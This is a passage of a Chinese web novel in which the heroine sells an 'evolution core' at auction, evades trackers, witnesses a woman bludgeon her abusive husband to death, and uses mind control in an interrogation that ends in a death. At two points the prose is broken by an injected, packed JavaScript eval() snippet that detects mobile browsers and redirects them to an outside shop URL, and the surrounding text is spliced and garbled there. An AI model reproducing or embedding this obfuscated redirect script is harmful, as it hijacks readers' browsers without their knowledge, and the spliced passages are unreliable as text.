“嗯!”林萤点点头,紧接着又摇摇头,伸手压住了原初的小臂,“别冲动,我就是看看,主要是这个进化核有点鸡肋……真需要的话,咱们还不如自己去海里找,等找到杜煦,我想去沿海看看。” “好吧。”原初不无遗憾,手却没有缩回来,依旧密切关注着场上的变动。 意料之外的是这枚A级进化核最终只卖到了200万。 原初的眼内是大大的不解,“难道现在的人不向往海洋世界了吗?” “很简单,因为鲸是哺乳动物,它也是用肺呼吸的,之所以能在水下潜行那么久,是因为它的肺部足够大,而且他们血液中的肌红蛋白浓度很高,可以储氧。我们人类没有那么大的肺,也不能储存那么多氧气,最主要的是,我们有各种潜海设备,在水下短短30分钟不成问题。所以这枚A类进化核对我们来说有些鸡肋。” 51. 最高成交价 “不愧是学生物的……”原初感叹一番,而后道:“确实,现在市场上售卖的自携式的水肺都已经能撑一个多小时了,这样想来,这个A级进化核还真是鸡肋,能卖两百已经多亏现场氛围的加持了。” 接下来又是一连串的C级。 林萤看到了那帮奶牛场的进化核,这些进化核和林萤拿到的一样,大多品相一般,只有一个可以让人泌乳的卖出了百万高价,这也是本场拍卖会唯一一个上了百万的C级进化核。购买方是一个看着非常斯文的男士,带着金丝眼镜,背头一丝不苟,简单的黑衬衣挡不住他硕大的胸肌。林萤看了又看,还想再看几眼,就觉身边突然吹来一股凉飕飕的风,她转过头,看见原初一言不发脱掉了外套,又抬起手,将额前碎发全梳到脑后,露出了精致的眉眼。 林萤:“......” 这个小高潮过后,终于迎来了第一个S级进化核。 主持人在介绍这枚进化核时,特意强调,这枚进化核的来源是那个获赠了一亿黄金的“一善门”,“一善门”出货,质量绝对有保障,现在购买晚上就可以安排移植。林萤心知肚明,所谓的有保障,也就是说这枚进化核是从人体内取出的。这枚进化核的作用是视觉进化,被一个高度近视的人拍了去,成交价3000万。 紧接着,来了个D级进化核,是老鼠身上找到的,这枚进化核一出现,现场顿时“嘘”声一片,主持人连番说明这枚进化核的好处,却无人响应,最终,被一个陪爷爷来参加拍卖的小女孩以起拍价买走,据说她买去是要给自己的小猫玩。 此时,已经快两个小时了,拍卖会也到了尾声,林萤的进化核终于以压轴姿态登场。 主持人先是描述了一下这枚进化核的功效,又特意说明它的来源与“一善门”那边一样,更难得的是在取出这枚进化核后,它原本的主人依然生龙活虎。这既打破了死体取进化核的惯例,也符合九鼎阁贯彻人道主义的基本理念,故而九鼎阁特意将这枚进化核放在了压轴的地位。 主持人的话引起了现场剧烈的轰动,大家都想弄清楚这枚进化核的卖家究竟是谁,然而一番探究后,却没有人找到那个传说中带着口罩的姑娘。 众人口中的姑娘林萤此时正坐在二楼,她一直在盘算这枚进化核的成交价是否能超过1000万。这个数目是阿九报的数,如果不能超过这个数,那当时就应该一口价直接卖掉……不对!不是1000万,拍卖的价格要与九鼎阁四六分,如果卖出价是1000万,那么最终到自己手里的就只有600万。 林萤的大脑正在飞速计算,突然,她感觉自己的衣袖被轻轻拉了拉,抬起头,就看见原初长长的睫毛根根分明,一张帅脸近在眼前,他朝前方指了指,示意林萤看会场。 随着女主持的声音落下,起拍价200万,400、700、900……价格逐渐飙升,不到两分钟,价格便已过了3000万。林萤顿时放心了,1800万,果然原初说的没错,拍卖的价格要比一口价高一些。 “3000万一次,3000万两次,3000万……” 就在拍卖锤即将落下时,会场上响起了一个男人沉稳的声音。 “8000万。” “啊?”不仅是现场的观众,就连经验丰富的女主持也愣了一下,但她很快回过神来,高声道:“还有没有?” “8000万一次,8000万两次,8000万三次,成交!” 锤落价定,成交价8000万,卖出了本场最高成交价。 8000万!林萤转过身,激动地扑进了原初的怀里,她没想到一个进化核竟然能拍出这样高的价格,顿时就想把剩下的那几枚全部也卖了。 不过她很快就将这个念头抛到九霄云外,整场拍卖会就只有两枚S级的进化核,连那个以优质进化核为噱头的“一善门”都只有一枚,若是自己一下子就拿出来三个,不用说,转头就会被盯上。 林萤收到钱后,没有过多逗留,与原初两个人从会场的后门悄然离开。本来还有一场晚宴,但原初不建议参加,并且今晚还有跟马浩哲姑姑的约定,林萤便只留了九鼎阁的联系方式,承诺他们一有货会再联系。 回到车上,又迅速驶离九鼎阁的地盘,直至街边的监控消失得无影无踪,林萤打开背包,看到仍在呼呼大睡的小白虎,才松了一口气,将心踏踏实实放回了肚子里。 然而十分钟后,车辆的行驶速度变快,与此同时,原初好看的眉毛也拧了起来。 林萤刚要开口,就见原初冲她小声道:“我们的车被装了追踪器……” 林萤瞪大了眼睛,“在哪里?要拆下来吗?” “不,直接换个车。”原初说罢,示意她将重要的东西收拾好,两个人各自一个大包,车里除了一些没什么用的东西,便不剩其他。 这时,原初不知从哪里拿出一把黑色的小刀递给林萤,“对了,这个给你。” 林萤接过刀拿在手里,抽出刀鞘看了看,这是一把S35VN粉末钢刀,小臂长,刀把是黑色,刀刃反射着寒光,林萤道:“这刀不错,挺贵的吧?” 原初道:“是,丢了可惜,你可以用来削苹果。” 林萤将刀收了起来,“那就谢谢啦!” 收拾妥当后,原初一脚油门踩下去,车速直接飙升至120,随后拐进附近一个厂区,从里面横穿过去,又很快行驶到附近一个小镇。小镇有个修车行,车在里面停了下来。 这里乱七八糟放着许多事故车辆和大油桶,几个伙计围七扭八歪地坐在废弃轮胎上玩手机,短视频播放的声音盖过了汽车行驶的声音。只有一个伙计看见了来车,却并不起身接待,而是抬了抬眼皮,又很快将目光移到了手机屏幕上。 ……这家店不做生意吗? “你来找定位器,我来跟他们周旋。”原初小声说罢,“呯”地一声关上车门,而后对离得最近的伙计道:“你好,帮我修一下车,另外,还有一个不情之请,我和我女朋友今晚有约,但是车坏了没法开,想借你们的车一用,明天给你还回来。” 那个伙计靠在车边,一开始并不搭理,却在看到原初手上的一摞钱后,眉开眼笑地站起身应了下来。 于是原来的那辆红色越野车就被放在了原地,而上面安装的定位器早在原初与伙计说话的 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“这个不难,车上有监控,如果有人往车里塞东西我们一定会第一时间知道,但是你是开了一阵后才有所察觉,所以这个定位器一定在车的外面。”说到这里,林萤看向原初,“不过,你是怎么知道车被装了定位器,难不成你有透视眼,能看到车底?” “这个也不难,因为后面一直有一辆车在远远地跟着我们……” “是九鼎阁的人吗?” “看车的品牌不太像,但也不排除对方换车。” 两人说完,都是一阵后怕,不知道对方是想谋财还是想害命,亦或只是单纯地想要监视他们。 “不过通过今天的事情,我可以肯定你就算不是心理医生,也具备一定的心理知识了。”林萤打趣。 “怎么讲?” “第一个就是你求助的是个人而不是集体,第二是你用的是现金而不是转账。第一点,如果你求助的是那群伙计的群体,会产生‘责任稀释’,大家都会以旁观者的心态去看我们,导致我们无人回应,延误时间,所以你直接求助了距离我们最近的人。第二点是你从一开始就知道自己的请求不会第一时间被答应,所以你直接搬出了现金,之所以是现金,是因为现金比转账更能刺激人的视觉和触觉,大多数人会被这一沓现金震慑住,从而答应你的提议。” 林萤说完,又道:“当然了,这只是我的一点猜测,可能你自己并没有想那么多,只是按照习惯去行事。” 原初笑了一声,没有说话。 林萤又问:“对了,你怎么会突然拿出那么多钱的?” “之前放在车上的,我一直会在车里备一些现金,这算是……嗯,个人习惯吧!” “感谢这个个人习惯,以后我也要给自己的车上放点现金。不过……我们还回去拿那辆车吗?” 原初摇摇头,“不拿了,那辆车是蹊暇牌照,车身又是红色,本来就过分显眼,现下我们需要低调行事。所以当务之急,我们要去买一辆新车。” 说着,原初又是一脚油门,从迷宫似的小路拐入大路,这辆已经不知道被转手了多少次的车终于吭哧吭哧上了八十迈。 52. 夕阳下的血色 不远处的绿化带里,一只威武的狸花猫正在试图靠近一只焦躁的麻雀,这只小麻雀的脚上绑着一个怪东西,麻雀用它尖尖的喙啄呀啄,却怎么也啄不下来。就在这时,狸花猫悄无声息地扑了过去,一双肉垫紧紧地压住了麻雀脚下的东西,正要张嘴去咬,麻雀却挣脱了束缚,扑棱着翅膀飞上了高空。狸花猫退而求其次,将那个怪东西叼在了嘴里,朝远处跑去。 “怎么办,原医生,往水青路的方向根本就没有卖车的,只有水青路有一家,距离马浩哲的姑姑家还挺近。”林萤查一边查看地图一边道。 “附近有加油的地方吗?快没油了。”原初往车外看了一眼,“不过幸运的是,我们应该已经甩开那辆跟踪我们的车了。” “没有加油站,好几个加油站都写着临时关闭,大概是被势力把持着。”林萤叹了一口气,学着原初的样子看向车外,而后眼睛一亮,“男朋友,会骑摩托车吗?” 原初看向不远处那家红色招牌的摩托车店,缓缓地将车停在了路边。 不多时,一辆全新的摩托车从店里驶了出来,在路上急速飞驰。 林萤戴着头盔握着车把手,一声轰鸣,摩托车从一旁的小道上越过栅栏,直接上了快速干道。这是摩托店的老板指的近路,从这边越过快速干道,只需再穿过两个村庄,就可以直接到达水青路。这位老板还好心地给林萤他们加满了油,保证不费劲能开600公里。 “慢一点!”原初的声音隔着头盔又被风吹到九霄云外。 林萤笑了笑,又是一个提速,“抓紧了!这边的路况好,我们就快一点!” “……” 十几分钟后,摩托车驶出快速干道,来到了一旁的小村子,车从萧条的村庄穿过,正要离开时,突然一声哭嚎,紧接着从前方的院子里窜出来一个披头散发的妇人。 这个妇人连滚带爬跑到街上,差点没撞上林萤的车。林萤忙往旁边拐了一下,错过妇人又将车缓缓停了下来。 “你不要命了——” 林萤的话还没说完,就见从院子里又走出一个拿着半块砖头的男人,那个男人跻着拖鞋,双眼通红面目狰狞,他两三步窜到妇人的身边,一把抓起她的头发,将她的头强行提起,接着扬起砖头就要拍下。 “住手!” 男子的耳边突然冒出一个女声,而后他手上的砖就被轻松拿走。 “艹你大爷,老子打老婆碍你啥事?” “单纯看不惯,咋了?” 林萤将砖块丢在地上,瞪了回去,却觉得这个男子看上去分外眼熟——这不是早上那个把沙子当成进化核的男人嘛! 男子并不认识林萤,他叫嚷着:“这个臭婆娘,把老子的灵珠换成了沙子,惹老子被一群人嘲笑,还死活不给我说真正的灵珠放哪了,你说她该不该打?!” 林萤道:“这就是你的不对了,那是她养了很久的猫,你随随便便就杀了,你说她该打,我看该打的人是你才对!” 男子本就张开的嘴巴张得更大了,“你,你怎么知道,你在现场?” “我当然没在现场,但是你发疯那段视频被偷拍了,网上早就传开了,说你又贪心又残忍,简直是男人中的败类,败类中的底层。”林萤胡诌道。 男子没有拿手机,暂时无法求证,却被林萤的话引爆了情绪,他愤怒到了极点,将怒气一股脑全撒在了林萤身上,一边嘴上咒骂着,一边凭借身高优势想要压制林萤,“一个畜生,杀就杀了,用得着你们来审我!” 他说着,就要去打林萤,却被一旁的原初一脚踹倒在地上。 “有你个小白脸什么事……” 林萤居高临下,垂着眼睛看男子挣扎,她说道:“我劝你嘴巴干净点,他打你是救你,我要是踹你,你这会儿已经见阎王了!” 男子的眼白里全是深红的血丝,他念叨着:“我知道了,你们都是进化者,你们都是……” 他的话还没说完,就听“嘭”一声,声音很近,仿佛就在自己耳边,男子抬头看去,就见刚刚被扔掉的半块转就悬在他的头顶,紧接着,又是一声闷响,一股鲜红的血自男子的额头流下,糊住了他的眼睛,他向上翻着白眼,看见一直被忽视的妻子正高高举着砖头看向他,疲惫的双眼里是克制不住的杀意。 男子的嘴巴动了一下,还未发出声,紧接着,头顶又挨了重重的一记,他彻底晕了过去。 一滴血溅在了林萤的下巴上,眼前的状况令她始料未及。 刚刚还匍匐在地的妇人仿佛爆发出了无限的力量,她席地而坐,将额前的乱发捋到脑后,右胳膊像永动机一样一上一下。 “你才是畜生,你全家都是畜生……”女子一边砸,一边喃喃自语。 “姐?姐,你冷静一下……”林萤忙劝说道:“你快把他砸死了!” “你才是畜生,就算没多少感情也不应该下手,你竟然把它剁成了肉臊……”女子并不理会林萤,她像陷入魔怔一般,一边自语一边砸向男子,直把他的脑浆都砸了出来,红的血白的浆,汇成浑浊的黄褐色,十分可怖。 “……” 林萤看向四周,一旁的屋子里似乎有人正隔着门在看,远处也有几个人影在树下晃动,显然是注意到了这边的动静,却仿佛司空见惯,并不理会。 “怎么办,要报警吗?” 林萤将目光投向原初,原初正要回答,正在这时,一个沙哑的女声响起,“丫头,报什么警?青檀的警察哪有时间管我们这些屁民?” 说话是正在砸丈夫的妇人,她的眼睛看向林萤,右手上的动作却没有停。 “别以为我糊涂,我清醒的很,他今天能为了一点甜头就杀猫,明天也能为了一点甜头杀我,啥玩意在他眼里都只分有用没用,他没有心,他没有心……”说到这里,她突然用闲着的左手冲林萤挥了挥,“丫头,你过来。” 林萤稍作停顿走了过去。 “把手摊开。” 林萤将手掌摊开,女人将自己的左手放上去拍了一下,小声道:“多谢”,又很快将手缩了回去。 这一声“多谢”极轻,轻到林萤几乎要以为是自己的错觉,但是手心里的那个东 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17815804|205358||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 西不似作假,林萤下意识低头看去,却突然被妇人大力向后推了一把,她身体不由得向后晃动了一下,脚还扎根在地上。 “你们走吧,快点走!” 妇人举起手里早已看不出原本色彩的砖头,向远处砸去,活脱脱一副疯样。 “滚啊!滚!” 女人说完,扑到地上,却不是哭泣,而是去捡掉落的砖头,她边爬边咬牙切齿,“砸死你……砸死你……”而她的丈夫早已无了声息。 “我们走吧。”林萤看到不远处有人过来,她招呼原初一声,两人上了车,离开了现场。 后方,妇人疯疯癫癫的叫喊声不绝于耳,直到走出村庄,又向水青路的方向行驶了约五分钟,缠绵不绝的叫喊声才彻底消散。 夕阳西下,晚霞像鲜血。 一直孤雁从划过苍穹,长鸣一声,展开的双翅下,一辆黑色的摩托车一闪而过。 林萤感觉自己的心里沉甸甸的,似乎有什么东西堵在那里。 “原医生——” “嗯——” “会唱歌吗,唱个歌吧——” “……” “她给了你什么?”原初的手虚虚环着林萤的腰,因为车速不快,所以声音清晰地传到了林萤耳中。 “对哦,差点忘了!” 林萤说罢,猛地刹住车。由于惯性,原初向前一扑,差点将整个胸膛都贴在林萤的后背上,下巴更是抵住了林萤的后颈,肌肤相贴,两人都是明显一怔。 “那个……我骑车没怎么带过人,是不是有点太快啊?” “还好……”原初也是结结巴巴,“我感觉挺……刺激,是挺刺激的。” “对了,这个。”林萤在兜里掏了掏,掏出一颗小小的进化核,“刚才那个女人把这个东西给了我。” “难不成这就是男人要找的那颗?” 林萤点点头,“估计是了,我记得这枚进化核的功效是——意念交流?” “意念交流?” “嗯,听那个男人的描述,这种意念交流是单方的,并不能实现无声对话,所以对人的作用不大,人有语言嘛!但是,又不是其他生物没有,也就是说……” 林萤侧过身,看向原初身后的背包,原初也顺着她的目光转过了头。 两人同时道:“可以给雪王用!” 说干就干,此时,迷你版的雪王还在呼呼大睡,那方用来挡住它翅膀的手帕早被蹭到了边上,毛茸茸缩成一团,像只小小的毛球。林萤用食指摸了摸它的头顶,小老虎发出了一连串“呼噜呼噜”的声音。 “咪咪,醒醒!”林萤又轻轻碰了碰雪王的脑袋,就见小老虎眼部的绒毛动了动,接着缓缓睁开了双眼。 有道是看人要看精气神,精气神的一半在眼睛。林萤觉得这句话同样适用于动物。 就见刚才还像一只小老鼠的白虎,甫一睁开眼,顿时就像点了睛的巨龙,威严庄重,霸气十足,除此之外,还隐隐带着某种浩浩荡荡的杀气,只是这股杀气在它看见林萤的那一瞬间,顿时消散的无影无踪。 53. 羊角女孩 小白虎在林萤的怀中翻滚一圈,而后亲昵地蹭了蹭她的手指,长而硬的胡须蹭得林萤的掌心痒痒的。 “咪咪,等会再睡,来看看这个,你能不能吸收?” 说话间,原初将进化核放在了白虎边上。 只见白虎凑过去轻轻嗅了嗅,而后突然张开口伸出粉色的舌头将进化核卷了进去,整个过程用时极快,几乎不到两秒钟,没等林萤反应过来,它便又扇动着翅膀飞回背包里,紧接着便闭上眼呼呼大睡。 林萤和原初你看看我,我看看你,都被小白虎的速度惊呆了。 “我还想看看进化核吸没吸收,它就这么睡了?”林萤恨不得把雪王叫起来,却在看到它沉静的睡容时不忍心打扰,“……算了,让它睡吧,也不急这么一时片刻。” “嗯,不用担心,老虎也是猫科动物吧,既然和猫同宗同源,想必能顺利吸收这枚进化核。”原初说到这里,将包重新背在身后,又抬头看了眼夕阳,“走吧,天黑前应该能回去。” 林萤将头盔带好,双手拧住把手,“抓好了!” 话音刚落,车便飞了出去,原初向后一仰,差点没被甩出去,忙紧紧抓住了林萤腰侧的衣服,“慢点,慢点……” …… 夜幕落下,马浩哲正在往家走,他刚从附近的小超市买了两瓶冰红茶、五颗卤蛋、三根火腿肠和两包泡面,预备晚上加个宵夜。 夜风幽幽,树影缓缓,街上行人二二三三,忽略刚刚买东西时掏出的那笔巨款,这实在算得上是个美妙的夜晚。马浩哲一边哼着歌一边向前走,心情分外愉悦,正在这时,他突然听到了摩托的轰鸣声。 咦~~~估计又是哪个黄毛在炸街! 摩托的轰鸣打破了夜的宁静,也惊醒了枝头间沉睡的鸟儿,马浩哲的歌也被打断,他愤怒地扭过头看向长街,就见一对仿佛电影里走出来的特工情侣正骑着一辆黑金色的霸气摩托朝他呼啸而来。 马浩哲忙向后退了一步,退到路沿上,不自觉地给车让出了路。谁料,那对“特工”不依不饶,连车把都不动一下,径直往他的方向开来。 “哎哎,你西一——” 阿的音节还没吐出来,就见那摩托在他面前来了一个漂亮的甩尾,而后被一双长腿撑住,停了下来。 驾驶位上的人摘掉头盔,露出清丽的面容。 “小马哥,别来无恙啊!” “林,林萤?!” …… “小马哥的手艺不错啊!”林萤抱着碗,左一口香肠右一口卤蛋,间或吃一大口浸满了汤汁的面,一碗泡面被她吃出了山珍海味的架势。 “真有这么好吃吗?”马浩哲咽了咽口水,他托着肉嘟嘟的脸颊,看了看林萤大吃特吃的样子,又看向一旁的原初,后者忙护住了自己的碗,并加快了吃饭速度。 “……” 马浩哲叹息一声,“这可是小马哥我亲自下厨煮的面,光这两包泡面就要了我五十块钱,更别提什么手工费,跑腿费,还有精神补偿费……竟然尝都不让我尝一口……真是没天理啊!” “对了!”林萤一边嗦面一边拿起手机,一番操作,马浩哲的手机响了一声。 “呀!太阳从西面出来了,林萤居然给我转钱了?” 林萤道:“这是给你的答谢费,感谢你让我在异乡吃上了熟悉的味道。” “得,想给钱就直说,这等好事我还能跟你客气?” 马浩哲手指急忙一点,笑嘻嘻收下了钱。 林萤拍了拍肚皮,“我发现自己是个泡面胃,别的东西再好吃吃几次也就腻了,唯有泡面,一阵不吃就想……” “谁说不是呢!”马浩哲说罢,抬眼看了看墙上的挂钟,“已经八点了,按理说,我姑早就应该回来了……” “是不是路上耽搁了?”原初走到窗边,向下看去,楼底下没有开灯,却因为月亮与暗星的光辉看上去亮亮堂堂。 楼下没有人。 林萤也来到窗边,她看了一眼问道:“小马哥,你和你姑姑约定的几点?” “七点,她还说她要给我做点我爱吃的……” “晚半个小时还能理解,晚这么久……”林萤转过头看向马浩哲,迅速道:“给你姑姑打个电话。” 马浩哲当机立断拿起手机拨通置顶号码,一阵节奏感很强的舞曲响起,又慢慢结束,直到语音留言的提醒响起,还是没有人接电话。 马浩哲按断提醒,又拨打了一次。 就在这时,原初突然“咦?”了一声,他指着楼下道:“刚刚有道黑色的残影跑进我们这栋楼了。” 原初的话音刚落,“咚咚咚”一阵敲门声响起,伴随着一个焦急的女声,“小马,小马你在家吗?” 马浩哲过去想要开门,林萤忙制止住他,示意他先看看猫眼。 马浩哲迅速瞄了一眼,“是楼下的阿姨。” “小马小马出事……” 门开了,一个看上去与马浩哲姑姑差不多年纪的阿姨立即冲了进来,气喘吁吁抓住马浩哲的胳膊刚想要说些什么,却在看见屋子里的林萤和原初时愣了愣。 “......啊,家里有客人啊!” “吴阿姨,怎么了?”马浩哲将她搀扶到沙发上坐下,而后给了她一杯水,“你慢慢说,别急!” “咋能不急呢!”吴阿姨将玻璃杯重重搁在茶几上,双眼看向马浩哲,又时不时看看一旁的林萤两人,一双手颤抖着,“小马,你姑姑她,你姑姑她出事了!” 马浩哲被这话吓了一跳,焦急地问道:“我姑出啥事了?” “你姑她,她被一群人抓走了!” “什么?!”马浩哲差点跳起来,他急忙问:“被谁抓走了?” 就见吴阿姨神色不自然地瞟了一眼林萤和原初,似乎是因为他们在这里所以不太方便说话。 马浩哲急得抓耳挠腮,“吴阿姨,他们是自己人,我姑出啥事了你赶紧说啊!” “好吧,是这样的……我和你姑她们不是成立了一个叫做花 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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说到这里,吴阿姨全身颤抖着,她的手不自觉地捏住了茶几上的水杯,“可是那对角就像是从她身体里长出来的一样,整个形状是螺旋向前生长的那种,角上的纹理一条一条,那绝对不是什么道具啊发饰啊之类的,那是货真价实的羊角。我看得真真切切,那孩子就像是人和羊杂交出来的一样!” “这不可能,有生殖隔离!这两个在生理上差太多了……”马浩哲连连摇头,看上去想要给吴阿姨上一节课,林萤忙肘击了他一下,示意他问姑姑的事情。 “对,我姑呢?”马浩哲将话题拉了回来。 “啊对,你姑姑……”吴阿姨喝了一口水,道:“我见那个女孩人不人羊不羊,看上去很猎奇,就想给她拍张照片,你不知道我现在就爱记录生活,然后跟网友们分享,可就在我要拿手机的时候,突然有几个人过来了。那几个人都拿着枪,看上起气势汹汹的,我赶紧藏在了篷布下,但是你姑姑被发现了。他们抓着你姑姑,说要请她喝杯茶,你姑姑反抗不过只得跟他们一起走了……我乘他们离开的时候偷偷溜下了车,赶紧跑回来找你帮忙。” 说到这里,她站起来扯了扯马浩哲的胳膊,“走,我们去救你姑姑。” 马浩哲听完她的话,当下很是慌张,他一把抓过衣服,三下五除二套在身上,风风火火地走在前面就要跟吴阿姨一起出去找姑姑,然而还未触到门把手,他就听到了林萤的声音。 她说:“等一下。” 54. 体内的禁制 林萤缓缓起身,站在沙发前,面向吴阿姨问到:“吴阿姨,马浩哲是进化者吗?” 吴阿姨看了马浩哲一眼,忙转过头回答:“不,不是啊!” “那水青老街附近有你们巡逻的人吗?” “有,有的……” 原初也站了起来,他温和地笑着,“也就是说,你放弃向势力的其他伙伴求助,舍近求远,直接跑回来让一个没有进化过的人去从一群有枪械的人中救人?” “我,我……”吴阿姨看看马浩哲又看看原初,而后一拍大腿,“瞧我这个死脑袋,左右一根筋没转过来,哎,我咋把这茬给忘了!我等下就给那帮姐妹们打电话把她们都叫过来……不过小马啊,既然都知道了咱们一起去吧,多一个人多一份力量。” “吴阿姨,如果我没有看错,你是一个腿部进化者,所以你可以在出事的时候很快逃脱。而马浩哲,他虽然比你年轻却没有你的能力,所以相对而言,他是弱势的一方。一个人,为什么要向比自己弱的人求救呢?除非……” “那,那马西梅是他姑啊,侄子救姑姑不是应该的嘛!”吴阿姨伸出手,想要再次抓住马浩哲。 马浩哲这个时候却反应过来了,他往后退了两步,一双眼睛眨巴眨巴,“吴阿姨,刚刚太着急我都给忘了,原本我姑和我约好了今天晚上要一起吃饭,以她的个性,肯定早就把今晚要巡逻的事情给推了,又怎么会和你一起出去,而且也不给我打个电话。” 说到这里,马浩哲拿起了手机,他又给自己的姑姑拨了过去,依旧无人接听。 冰冷的提示音让林萤想起了杜煦失踪的那个晚上,她的双眼紧紧盯着心虚的吴阿姨,“我问你几个问题,你要如实地回答我。” 说着,她暗自施加了精神操控的能力。 “你知道马浩哲的姑姑现在在哪里吗?” 吴阿姨慌忙抬起头,正要说什么,却在触到林萤的双眼时,一度陷入茫然,而后,就听她缓缓地说道:“我知道,动物园临时有事,她去动物园了。” “那你为什么要骗马浩哲?” “有人要找马西梅的事,我知道她侄子小马是他的软肋,只要我把小马给那帮人带过去,他们就会给我的女儿一颗上好的灵珠,这样我的女儿也就能成为进化者了。” 听到这里,马浩哲低呼一声,“吴阿姨!” 对方却没有半点反应,只是呆愣愣盯着林萤,眼中隐隐有惧怕之色。 “那帮人是什么人?” “他们是……他们是……”说到这里,吴阿姨痛苦地抱住了自己的脑袋,豆大的汗珠贴着她的额发落下来,额头上青筋暴起,仿佛有两股力量一左一右在她体内将她生生撕扯,想要将止住她的话头,然而林萤的目光一直锁定着她,让她无法忽略眼前的问题,最终,几个字从她的牙缝里挤了出来,“是,是一善门!” 吴阿姨刚刚说完,突然浑身一怔,紧接着,一股鲜血自她的嘴里喷射出来溅到墙上,像一团血雾,而后她便软软地瘫倒在了地上。 “……”随着吴阿姨的异常,林萤也感觉自己脑子一晃,她强忍着不适,靠着沙发缓缓坐了下去,双眼却盯着被染红的墙壁。 “怎么了?”原初忙问道。 林萤摇摇头,“没事,我想喝点水。” “我去给你倒。” 门口,吴阿姨倒在马浩哲的脚下,她的嘴边全是鲜血,一双眼睛瞪得老大,双手微微向前探着,似乎想抓住什么,却什么也抓不住。而后,就见她抽搐两下,那双手仿佛卸下了所有的力量,掌心摊开落在了地上,一动不动。 “吴阿姨!你怎么了?吴阿姨!”马浩哲慌忙上前,轻轻拍了拍吴阿姨的臂膀, “小马哥,探探她的鼻息。” 听到林萤的话,马浩哲伸出不断抖动的食指,探了探对方的鼻息。 “林萤,她,她——她好像死了!” “……” 马浩哲又怕又难过,手足无措地蹲在吴阿姨的身边,差点没哭出来,“原医生,你会心脏复苏吗?快来帮帮她!” 不待他的话说完,原初已经走了过来,他蹲下来查看片刻,而后缓缓地摇了摇头,“我救不了,她的肺脏应该是破了,呼吸系统也出现了问题,就算送到医院也救不活……不过,还是先打个急救电话试试吧!” 马浩哲颤抖着双手拨通急救电话,那边传来一个颇为散漫的声音,“你好,青檀市中心医院,急救出车一次30000,不议价。请问你在哪边?” “三万?你抢钱呢!”马浩哲疾呼。 那边似乎见惯了这些,也不反驳,直接就把电话给挂了。 林萤道:“小马哥,再打一次,急救的钱我出。” 马浩哲这次没有调侃林萤的大方,他又一次拨打了急救电话,中途因为因为紧张,还手抖输错了一次号码。 接电话的依旧是那个散漫的声音,连语气都跟上次电话一模一样,简直就像是直接在播放录音,“你好,青檀市中心医院,急救出车一次30000,不议价。请问你在哪边?” “水青路华安小区3栋5单元……”马浩哲的话还没有说完,很快便被打断。 “水青路的不接。”说罢,对方也不待马浩哲回答,又直接把电话给挂了。 马浩哲听着手机里传过来的忙音,气愤地叫道:“急救车光出车费就三万,还不接水青路的,歧视加黑心,看我不投诉他!”说着,他拿起手机,将要按号码的时候愣了愣,又缓缓地看向旁边二人,一脸茫然,“对了,去哪投诉?” “这应该就是大家逃离青檀的最主要原因了。”原初叹息一声,来到林萤边上,问道:“你好些了吗?” 林萤喝了水,终于缓了过来,这次的精神操控要比上次吃力得多。 她暗自猜测,“一扇门”方面也有进化出精神控制的人,他给吴阿姨下了不可以交代背后主使的命令,所以当自己引出问题询问吴阿姨的时候,相当于同时在跟两个人较劲——吴阿姨和另一个精神控制者,所以这次仅仅盘问了几句便这么累。 好在终于问出了背后的势力,只是这个代价太大。 “原医生,吴阿姨真的没了?” 原初点了点头,“是。” “我知道了……” 经此一事,林萤意识到另一个精神控制者的能力恐怕与自己旗鼓相当,甚至在自己之上,否则仅仅一个口头的“不许交代”不可能对身体器官 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吴听一进门,看了看地上的吴阿姨,而后嫌弃地绕过尸体,一屁股坐在了沙发上,边嚼口香糖边道:“我妈的事我知道了,你们不是说她把灵珠留给我了吗,灵珠呢?” 说罢,吴听朝离她最近的林萤摊开了手,她的五根指头上覆盖着彩色的花钿,不知是纹身还是纹身贴,看上去衬她纤白的手。 “……在马浩哲那里。”林萤指了指马浩哲,又忍不住问道:“你没什么要问我们的吗?” 吴听接过马浩哲手里的进化核,拿在手里看了看,面露嫌弃,“这就是灵珠啊,看上去也没啥特别的嘛。” 说罢,她又看向林萤几人,“你们别这么看我,我妈是啥样的我比你们清楚,我早就让她别跟那些人往来她就是不听,现在这样只能说活该……” 林萤的眼皮跳了跳,“你知道这件事情?” “知道啊,她在我房间里偷偷安装了监控,我也以其人之道还治其人之身,在她手机上装了监听。她和那个一善门的事情我早就知道,也知道我妈想对马阿姨出手。” 马浩哲愤愤地道:“你说你,你既然都知道,咋不拦着点阿姨呢?” “她那个人唯我独尊惯了,讲不进去道理的,反正她现在也死了……”说到这里,吴听离开沙发,来到吴阿姨的尸体旁边,蹲下身在她兜里掏了掏,掏出了两只手机和一支外壳脱色的口红,而后站起身走到马浩哲旁边道:“看看,这是不是你姑的手机?” 马浩哲看了过去,“还真是!”他将上方的手机拿过来,点开一开,就见手机被静音了,上面是一堆未接电话。 吴听一边嚼口香糖一边漫不经心地道:”我代我妈向你们道个歉,人死债消,你们也就别怨她了。至于她的……我等下就让人抬走。” 林萤问道:“那你知道一善门为什么要对马浩哲的姑姑下手吗?” 这个问题从刚才起就一直盘旋在林萤的脑海里,明面上一善门是买卖进化核的势力,九鼎阁的拍卖会他们也出席了,只是林萤并未见到对方的人。一个买卖进化核的势力,为什么要针对马浩哲的姑姑? 吴听眨了眨眼,“我知道一点。”正当众人想要继续听下去的时候,就见吴听的话拐了一个弯,“可是我为什么要告诉你们呢?” 55. 吴听和清道夫 “我,我……”马浩哲拿起自己的手机,将余额页面翻开递到吴听面前,“我把我所有的钱都给你,行吧?” 吴听吹了一个泡泡,等泡泡破了才慢条斯理地说:“我现在又不需要钱,我妈死了她的钱都是我的了,还缺你这点?” “那,那……”马浩哲四下看看,急得团团转。 林萤道:“你不是刚刚得到了一个灵珠吗?它可以用来买卖,也可以移植到你的体内,如果你想,我可以高价帮你卖出去,或者帮你移植进身体,这样你就可以获得进化能力。” 